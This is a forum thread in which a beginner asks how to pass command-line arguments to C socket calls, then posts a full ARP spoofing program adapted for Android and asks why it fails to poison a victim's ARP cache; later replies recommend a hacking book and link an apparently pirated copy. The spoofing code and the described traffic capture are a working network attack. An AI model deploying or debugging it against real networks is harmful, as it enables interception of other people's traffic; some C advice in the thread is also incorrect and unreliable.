User Controls

Q̇uick Ċ Q̇uestion

  1. #1
    SBTlauien African Astronaut
    Don't laugh, I just started jumping into C.

    Is it possible(and if so, how) to send in an argument to my main program, as one of the arguments to a function like 'socket()', 'setsockopt()', etc? The arguments sent to main would be a String constant(I believe), so I would need to change that into a macro(I think that's what it's called).

    Example...


    int main(int argc, char ** argv) {
    socket_fd = socket(argv[1], argv[2], 0);
    .....
    ...
    .


    Edit: I'm currently using a long if-elseif statement.
  2. #2
    aldra JIDF Controlled Opposition
    it might just be too early in the morning but I'm not following what you're trying to accomplish
  3. #3
    SBTlauien African Astronaut
    Originally posted by aldra it might just be too early in the morning but I'm not following what you're trying to accomplish

    I'd like start my program by running a command similar to this...

    "./my program AF_INET SOCK_STREAM"

    Where "AF_INET" and "SOCK_STREAM" are arguments into my program and are also used as arguments to socket().
  4. #4
    Merlin Houston
    Oh man I'm not good with C and it's been awhile, are you doing the Beej Networking book by chance?

    My guess is you aren't passing the data into socket() correctly, be it that it should be a value and you are giving a pointer or the other way around.

    As I understand argv is a double pointer (and an array is generally a pointer), so argv is an array of pointers. Then argv[1] is a pointer to the first arg. If you wanted a value you'd have to do "*argv[1]". Edit: the star in bold

    Be warned I'm very likely mistaken about some of that.

    https://stackoverflow.com/questions/1641957/is-an-array-name-a-pointer-in-c
    https://stackoverflow.com/questions/4475297/c-how-do-you-access-value-from-a-pointer-to-a-pointer-to-that-value
    https://stackoverflow.com/questions/5580761/why-use-double-pointer-or-why-use-pointers-to-pointers
    The following users say it would be alright if the author of this post didn't die in a fire!
  5. #5
    Merlin Houston
    Oh according to this that would only get you the first char from the string, so you'd only get "A" out of "AF_INET".
    https://www.gamedev.net/topic/585035-double-pointer-to-argv/

    The way you did it, argv[1] is the correct way to reference the whole string. When you create a socket I don't know if AF_INET is really a string that can be used the way you want.
    The following users say it would be alright if the author of this post didn't die in a fire!
  6. #6
    Lanny Bird of Courage
    ^that, argv is conceptually an array of strings, the arguments passed when the program was invoked. Strings are type *char (pointer to an (array of) char) so an array of them is referenced by type char**. If you want the first arg passed to your program you use argv[1], which is a string. As for getting it into something you can pass to setsockopt() you can't just pass the arg since, as mentioned, it's a string. `AF_INET` is just an integer that has some meaning to the socket library. You need to parse your arg list and figure out what each arg means yourself (you can't do it dynamically because the relationship between the string "AF_INET" and the constant is lost in compilation). Something like (not tested):


    int main(int argc, char ** argv) {
    // Default to AF_INET
    int AF = AF_INET;
    char *IPv6_FLAG = "--AF_INET6";

    for (int i=0; i<argc; i++) {
    if (!strcmp(argv[i], IPv6_FLAG)) {
    AF = AF_INET6;
    }
    }

    socket_fd = socket(AF, SOCK_STREAM, 0);
    }


    Post last edited by Lanny at 2017-01-05T08:51:10.120481+00:00
    The following users say it would be alright if the author of this post didn't die in a fire!
  7. #7
    Sophie Pedophile Tech Support
    I should really pick up C at some point.
  8. #8
    SBTlauien African Astronaut
    Originally posted by Merlin are you doing the Beej Networking book by chance?

    No sir. Just a little packet sniffing program for Android. It works but the long if-elseif statements make it over 1000 lines of code. I only made it that way for experimenting with sockets on my devices.

    Originally posted by Lanny As for getting it into something you can pass to setsockopt() you can't just pass the arg since, as mentioned, it's a string. `AF_INET` is just an integer that has some meaning to the socket library. You need to parse your arg list and figure out what each arg means yourself (you can't do it dynamically because the relationship between the string "AF_INET" and the constant is lost in compilation).

    So in other words, my long if-elseif is the way to go...?

    Originally posted by Sophie I should really pick up C at some point.

    I suggest it. It's lower level than Python, portable, and fast. But it's a bit of a bitch learning. The whole pointer concept confused me until a few days ago.
  9. #9
    Sophie Pedophile Tech Support
    Originally posted by SBTlauien I suggest it. It's lower level than Python, portable, and fast. But it's a bit of a bitch learning. The whole pointer concept confused me until a few days ago.

    Word, it would also be a good stepping stone on the way to Assembly i would figure. And C and Assembly is something i reckon i will need for sure if i want to up my malware analysis/development game.
  10. #10
    Lanny Bird of Courage
    Originally posted by SBTlauien So in other words, my long if-elseif is the way to go…?

    Yeah, it probably is. That is the essential logic that needs to happen (if user specifies "use IPv6" then init socket with IPv6). There may be some more declarative way of expressing it (there are argument parsing libraries in C that handle more edge cases than hand rolling something will) but ultimately if you do it or a library does it, the core functionality is the same.

    Re: learning C, it's definitely something every serious programmer (and by that I mean everyone who wants to program for more than "I have problem X, programming is the way to fix it") should learn. Most modern languages can be described as some kind of reaction or descendant of C. Assembly is usually taught in terms of "here's what your C compiles to" and compilers are generally understood in terms of "let's compile C" or some simpler thing that looks suspiciously like C.
  11. #11
    Make sure to use at least 1000 goto commands
  12. #12
    aldra JIDF Controlled Opposition
    Originally posted by SBTlauien I'd like start my program by running a command similar to this…

    "./my program AF_INET SOCK_STREAM"

    Where "AF_INET" and "SOCK_STREAM" are arguments into my program and are also used as arguments to socket().


    oh right. if they're integers you can pass them directly, if they're strings no.


    int main(int argc, char ** argv) {
    socket_fd = socket(argv[1], argv[2], 0);
    .....
    ...
    .


    in that code argc is an integer that contains the number of arguments passed and argv is a pointer to a pointer (**) to the first character in a string.

    in c(99) you will normally create a fixed-length character array to store a string in -

    char myString[12] = 'word';

    if you can't or don't want to allocate fixed memory manually you need to create a pointer to where to store the string (by default it allocates random unused memory):

    char * myString = 'word';

    I haven't done any C programming in quite a while so what you're doing seems a bit problematic. you can't pass the strings directly to your socket() function because they're in the form of pointers, and you can't pass the location of the data to it because it's coded to accept a string, not a location. I'm assuming you're using the inbuild socket() function so you can't change what it expects as parameters.

    This link touches on what I mean:

    https://www.tutorialspoint.com/cprogramming/c_passing_pointers_to_functions.htm

    I think you SHOULD be able to copy the string from the pointer into a character array and pass that to the socket thus:



    int main(int argc, char ** argv)
    {
    char firstParam[256];
    char secondParam[256];

    strncpy(firstParam,argv[1]);
    strncpy(secondParam,argv[2]);

    socket_fd = socket(firstParam, secondParam, 0);

    }
  13. #13
    aldra JIDF Controlled Opposition
    The following users say it would be alright if the author of this post didn't die in a fire!
  14. #14
    SBTlauien African Astronaut
    Originally posted by aldra I think you SHOULD be able to copy the string from the pointer into a character array and pass that to the socket thus:



    int main(int argc, char ** argv)
    {
    char firstParam[256];
    char secondParam[256];

    strncpy(firstParam,argv[1]);
    strncpy(secondParam,argv[2]);

    socket_fd = socket(firstParam, secondParam, 0);

    }

    I had tried this and some other things. None worked. The problem, like Lanny said, is that "AF_INET", "SOCK_STREAM", and all of the others, are just integers. I think the compiler just uses them as a reference. So getting my char* to one of those integers is going to be easiest just leaving my long if-elseif statement. I thought about a switch-case but it was more of a curiosity.

    Next question...

    Why won't this little arpspoof program work? I found the code on github and liked it because it doesn't use the pcap library which I couldn't get to compile for Android. I modified it a lot, mainly cutting out large sections(reducing it to 134 lines), and setting it up so that I feed it information rather than it trying to find it out for me. For Android, I did have to use a third-party implementation for "ifaddrs.h" because Android's C library(Bionic) does not have it. I already have an arpspoof working executable for Android but I wanted to compile my own. Also, I tried running this individually, and I tried running it in two shells at the same time with the attacker/victim addresses swapped. Neither worked, although it does appear to be running but I didn't even notice a slowdown on the network.

    Edit: Forgot to add that I had to add in the struct "arp_header" because I couldn't figure out what include was missing(if that was the problem)...

    https://github.com/smikims/arpspoof/blob/master/arpspoof.c

    https://github.com/morristech/android-ifaddrs


    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <errno.h>
    #include <ifaddrs.h>
    #include <sys/socket.h>
    #include <sys/ioctl.h>
    #include <net/if.h>
    #include <arpa/inet.h>
    #include <netpacket/packet.h>
    #include <netinet/if_ether.h>

    struct arp_header{
    unsigned short int hardware_type;
    unsigned short int protocol_type;
    unsigned char hardware_len;
    unsigned char protocol_len;
    unsigned short int opcode;
    unsigned char sender_mac[6];
    unsigned char sender_ip[4];
    unsigned char target_mac[6];
    unsigned char target_ip[4];
    };

    void die(const char *error) {
    fprintf(stderr, "Error: %s\n", error);
    exit(EXIT_FAILURE);
    }

    void print_addrs(uint32_t ip) {
    printf("%s\n", inet_ntoa((struct in_addr) { .s_addr = ip }));
    }

    void print_mac(unsigned int *mac) {
    printf("%02x:%02x:%02x:%02x:%02x:%02x\n", (unsigned char) mac[0], (unsigned char) mac[1], (unsigned char) mac[2],
    (unsigned char) mac[3], (unsigned char) mac[4], (unsigned char) mac[5]);
    }

    void set_ifr_name(struct ifreq *ifr, const char *if_name) {
    size_t if_name_len = strlen(if_name);
    if (if_name_len < sizeof(ifr->ifr_name)) {
    memcpy(ifr->ifr_name, if_name, if_name_len);
    ifr->ifr_name[if_name_len] = 0;
    } else {
    die("INTERFACE NAME IS TOO LONG");
    }
    }

    int get_ifr_ifindex(int fd, struct ifreq *ifr) {
    if (ioctl(fd, SIOCGIFINDEX, ifr) == -1) {
    die(strerror(errno));
    }
    return ifr->ifr_ifindex;
    }

    void get_ifr_hwaddr(int fd, struct ifreq *ifr) {
    if (ioctl(fd, SIOCGIFHWADDR, ifr) == -1) {
    die(strerror(errno));
    }
    if (ifr->ifr_hwaddr.sa_family != ARPHRD_ETHER) {
    die("NOT AN ETHERNET INTERFACE");
    }
    }

    void arp_spoof(int fd, const char *if_name, const unsigned int *attacker_mac, uint32_t gateway_ip, const unsigned int *victim_mac, uint32_t victim_ip) {
    struct arp_header resp;
    struct ifreq ifr;
    set_ifr_name(&ifr, if_name);

    struct sockaddr_ll addr = { 0 };
    addr.sll_family = AF_PACKET;
    addr.sll_ifindex = get_ifr_ifindex(fd, &ifr);
    addr.sll_halen = ETHER_ADDR_LEN;
    addr.sll_protocol = htons(ETH_P_ARP);
    memcpy(addr.sll_addr, victim_mac, ETHER_ADDR_LEN);

    resp.hardware_type = htons(ARPHRD_ETHER);
    resp.protocol_type = htons(ETH_P_IP);
    resp.hardware_len = ETHER_ADDR_LEN;
    resp.protocol_len = sizeof(in_addr_t);
    resp.opcode = htons(ARPOP_REPLY);

    memcpy(&resp.sender_mac, attacker_mac, sizeof(resp.sender_mac));
    memcpy(&resp.sender_ip, &gateway_ip, sizeof(resp.sender_ip));
    memcpy(&resp.target_mac, victim_mac, sizeof(resp.target_mac));
    memcpy(&resp.target_ip, &victim_ip, sizeof(resp.target_ip));

    if (sendto(fd, &resp, sizeof(resp), 0, (struct sockaddr *) &addr, sizeof(addr)) == -1) {
    die(strerror(errno));
    }
    }

    int main(int argc, char *argv[]) {
    unsigned int attacker_mac[6], victim_mac[6];
    struct in_addr ip_addr = { 0 };

    inet_aton(argv[1], &ip_addr);
    uint32_t attacker_ip = ip_addr.s_addr;
    sscanf(argv[2], "%x:%x:%x:%x:%x:%x", &attacker_mac[0], &attacker_mac[1], &attacker_mac[2], &attacker_mac[3], &attacker_mac[4], &attacker_mac[5]);
    inet_aton(argv[3], &ip_addr);
    uint32_t victim_ip = ip_addr.s_addr;
    sscanf(argv[4], "%x:%x:%x:%x:%x:%x", &victim_mac[0], &victim_mac[1], &victim_mac[2], &victim_mac[3], &victim_mac[4], &victim_mac[5]);
    inet_aton(argv[5], &ip_addr);
    uint32_t gateway_ip = ip_addr.s_addr;
    char *if_name = argv[6];
    int repeat = atoi(argv[7]);

    /* get an ARP socket */
    int fd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
    if (fd == -1) {
    die(strerror(errno));
    }

    printf("IP ADDRESS:\t\t");
    print_addrs(attacker_ip);
    printf("MAC ADDRESS:\t\t");
    print_mac(attacker_mac);
    printf("VICTIM IP ADDRESS:\t");
    print_addrs(victim_ip);
    printf("VICTIM MAC ADDRESS:\t");
    print_mac(victim_mac);
    printf("GATEWAY:\t\t");
    print_addrs(gateway_ip);
    printf("INTERFACE:\t%s\n", if_name);

    while (1) {
    arp_spoof(fd, if_name, attacker_mac, gateway_ip, victim_mac, victim_ip);
    sleep(repeat);
    };

    free(if_name);
    return EXIT_SUCCESS;
    }
    [\code]

    [i]Post last edited by SBTlauien at 2017-01-06T10:24:17.837140+00:00[/i]
  15. #15
    SBTlauien African Astronaut
    Looking into it more, I used Wireshark on the machine I was attacking and saw that the packets are definitely being sent. I just can't figure out why it doesn't work like the executable that I found. With the executable, I can run two each as their own process(swapping IP addresses for the arguments in each), then run my packet capturing excutable, and see packets the match whatever HTTP site I visit(although they aren't perfectly clear, which I think may have to do with my parsing).
  16. #16
    Originally posted by Sophie Word, it would also be a good stepping stone on the way to Assembly i would figure. And C and Assembly is something i reckon i will need for sure if i want to up my malware analysis/development game.

    There is a book I mentioned in one of your other threads that teaches C and Assembly and shell scripts. I never really got too far into it but I would imagine it would be a great beginner book for someone with the motivation to learn CS. If you can find a download for Hacking: The Art Of Exploitation I highly recommend it.
    The following users say it would be alright if the author of this post didn't die in a fire!
  17. #17
    SBTlauien African Astronaut
    Originally posted by a·nom·a·ly The Art Of Exploitation I highly recommend it.

    I have it and started it and plan to finish it sometime soon. I don't think it'll go over socket programming, TCP/IP, and arp-poising attacks. It seemed to learn more towards assembly and the basic concepts of C(which I admit I need(:). I have decent programming skill but it's mostly in Java. C seems more beneficial.
  18. #18
    Originally posted by SBTlauien I have it and started it and plan to finish it sometime soon. I don't think it'll go over socket programming, TCP/IP, and arp-poising attacks. It seemed to learn more towards assembly and the basic concepts of C(which I admit I need(:). I have decent programming skill but it's mostly in Java. C seems more beneficial.

    I dont by any means report on the depth of this book but looking at the index the networking chapter definitly seems to get into sockets to an extent. Specific socket topics I see are "Socket Functions" "Socket Addresses" and "Raw Socket Sniffing". Looking at the appendix TCP/IP is definitely brushed on and for ARP cache poisoning, redirection, reply messages, spoofing and request messages are all indicated.

    Again, I am not much of a computer guy but this appears to get into the thick of it and is what I would use as a primary resource if I ever planned on picking up programming again. At the very least it seems like it would give one a great base to build on.
  19. #19
    SBTlauien African Astronaut
    Originally posted by a·nom·a·ly I dont by any means report on the depth of this book but looking at the index the networking chapter definitly seems to get into sockets to an extent. Specific socket topics I see are "Socket Functions" "Socket Addresses" and "Raw Socket Sniffing". Looking at the appendix TCP/IP is definitely brushed on and for ARP cache poisoning, redirection, reply messages, spoofing and request messages are all indicated.

    Again, I am not much of a computer guy but this appears to get into the thick of it and is what I would use as a primary resource if I ever planned on picking up programming again. At the very least it seems like it would give one a great base to build on.

    Oh, I stand corrected. I had thought the whole book was about exploiting software.
  20. #20
    Sophie Pedophile Tech Support
    Originally posted by a·nom·a·ly There is a book I mentioned in one of your other threads that teaches C and Assembly and shell scripts. I never really got too far into it but I would imagine it would be a great beginner book for someone with the motivation to learn CS. If you can find a download for Hacking: The Art Of Exploitation I highly recommend it.

    Yeah, now that you mentioned it i remember. I found this if anyone is interested.

    https://leaksource.files.wordpress.com/2014/08/hacking-the-art-of-exploitation.pdf

    Basically i am familiar with programming concepts, i write Python half decently, and have some InfoSec knowledge, but as an introduction to C and Assembly this is precisely the kind of book i would like to use.
Jump to Top